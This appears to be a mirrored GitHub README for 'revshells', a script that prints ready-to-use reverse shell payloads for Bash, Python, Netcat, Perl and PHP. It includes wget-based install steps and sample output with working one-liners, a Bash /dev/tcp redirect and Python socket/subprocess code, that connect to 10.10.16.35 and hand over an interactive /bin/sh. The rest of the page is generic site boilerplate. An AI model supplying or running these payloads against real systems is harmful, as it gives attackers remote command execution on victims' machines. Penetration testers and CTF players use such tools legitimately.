Giter Site home page Giter Site logo

revshells's Introduction

Revshells

Purpose

Got sick of looking for the same payloads every time you want to pop a reverse shell? This simple script will print via the terminal the most common revshell payloads you can find on the web.

There are plenty of payloads online but this script includes:

  • Bash
  • Python
  • Netcat
  • Perl
  • PHP

The script is easily customizable so you can add your own payloads aswell

Installation

sudo wget https://raw.githubusercontent.com/Anja-dhnd/revshells/main/revshells -O /usr/local/bin/revshells
sudo chmod +x /usr/local/bin/revshells
username=$(whoami)
sudo chown $username /usr/local/bin/revshells

Port

By default, if no arguments are provided, the script will use 9001 as the default port. You can customize this easily on the script.

However, if you want to specify your own port, you can execute the script as follows.

revshells 1234

Which generates the following output:

Bash
bash -i >& /dev/tcp/10.10.16.35/1234 0>&1

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.35",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.35",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);'
.....

revshells's People

Contributors

shroudri avatar anja-dhnd avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.